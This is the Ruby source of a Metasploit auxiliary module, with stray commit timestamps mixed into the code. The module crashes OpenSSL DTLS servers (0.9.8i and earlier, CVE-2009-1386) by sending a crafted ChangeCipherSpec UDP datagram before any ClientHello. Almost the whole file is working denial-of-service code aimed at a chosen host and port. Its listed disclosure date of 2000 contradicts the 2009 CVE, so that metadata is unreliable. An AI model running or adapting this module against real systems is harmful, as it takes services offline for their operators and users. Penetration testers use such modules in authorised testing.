2011-05-04 19:08:28 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'racket'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Dos
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include Msf::Exploit::Capture
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit',
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'Description' => %q{
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This module performs a Denial of Service Attack against Datagram TLS in OpenSSL
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version 0.9.8i and earlier. OpenSSL crashes under these versions when it recieves a
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ChangeCipherspec Datagram before a ClientHello.
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},
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'Author' => ['TheLightCosine <thelightcosine@gmail.com>'],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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2011-07-21 01:10:40 +00:00
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[ 'CVE', '2009-1386' ],
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[ 'OSVDB', '55073'],
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2011-05-04 19:08:28 +00:00
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],
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'DisclosureDate' => 'Apr 26 2000'))
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deregister_options('FILTER','PCAPFILE', 'INTERFACE', 'SNAPLEN', 'TIMEOUT')
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end
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def run
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print_status("Creating DTLS ChangeCipherSpec Datagram...")
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open_pcap
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n = Racket::Racket.new
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n.layers[3] = Racket::L3::IPv4.new
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n.layers[3].dst_ip = datastore['RHOST']
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n.layers[3].version = 4
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n.layers[3].hlen = 0x5 #
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n.layers[3].ttl = 44
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n.layers[3].protocol = 0x11
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n.layers[4] = Racket::L4::UDP.new
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n.layers[4].src_port = 34060
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n.layers[4].dst_port = Integer(datastore['RPORT'])
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n.layers[4].payload = "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01"
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n.layers[4].fix!(n.layers[3].src_ip, n.layers[3].dst_ip)
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buff = n.pack
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print_status("Sending Datagram to target...")
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capture_sendto(buff, '255.255.255.255')
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close_pcap
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end
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end
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